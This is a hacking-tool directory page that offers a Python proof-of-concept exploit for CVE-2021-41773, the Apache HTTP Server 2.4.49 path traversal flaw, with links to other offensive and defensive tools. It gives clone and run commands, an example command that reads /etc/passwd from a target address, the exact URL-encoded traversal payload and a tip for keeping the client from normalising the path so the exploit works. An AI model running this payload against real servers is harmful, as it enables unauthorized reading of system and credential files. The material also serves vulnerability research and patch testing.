Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2021-41773 — Python exploit for CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal vulnerability | Kitploit
Tools/GitHubGitHub/blu3ming/poc-cve-2021-41773
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubblu3ming/poc-cve-2021-41773

PoC-CVE-2021-41773

Python exploit for CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal vulnerability

View Repository
221 year agoNot yet reviewed
Share

CVE-2021-41773 Apache HTTP Server Path Traversal Exploit

A Python exploit for CVE-2021-41773, a path traversal vulnerability in Apache HTTP Server 2.4.49 that allows reading arbitrary files from the server.

Vulnerability Details

CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49 that occurs due to improper validation of user-supplied paths. The vulnerability allows attackers to read files outside the document root by using URL-encoded path traversal sequences.

  • CVSS Score: 7.5 (High)
  • Affected Versions: Apache HTTP Server 2.4.49
  • Vector: Remote, unauthenticated

Installation

git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt

Usage

python3 cve-2021-41773.py -t <target> -f <file_path>

Parameters

  • -t, --target: Target URL (include protocol and port if needed)
  • -f, --file: File path to read from the server

Example

# Read /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

Successful Exploit

How It Works

The exploit uses URL-encoded path traversal sequences (.%2e/%2e%2e/) to bypass Apache's path validation:

  1. The vulnerable Apache version fails to properly decode and validate the path
  2. URL-encoded dots (.%2e) bypass the initial security checks
  3. The server processes the path traversal after decoding, allowing file access

The key is using urllib3.PoolManager() instead of requests.get() to prevent automatic URL normalization that would break the exploit.

Technical Details

# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}

This translates to:

/cgi-bin/../../../../{target_file}

References

  • CVE-2021-41773 - MITRE
  • Apache HTTP Server Security Advisory
  • NVD - CVE-2021-41773
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    707
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    431
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    405
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    352
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    342

Explore all tools

Browse our collection of tools

View all tools →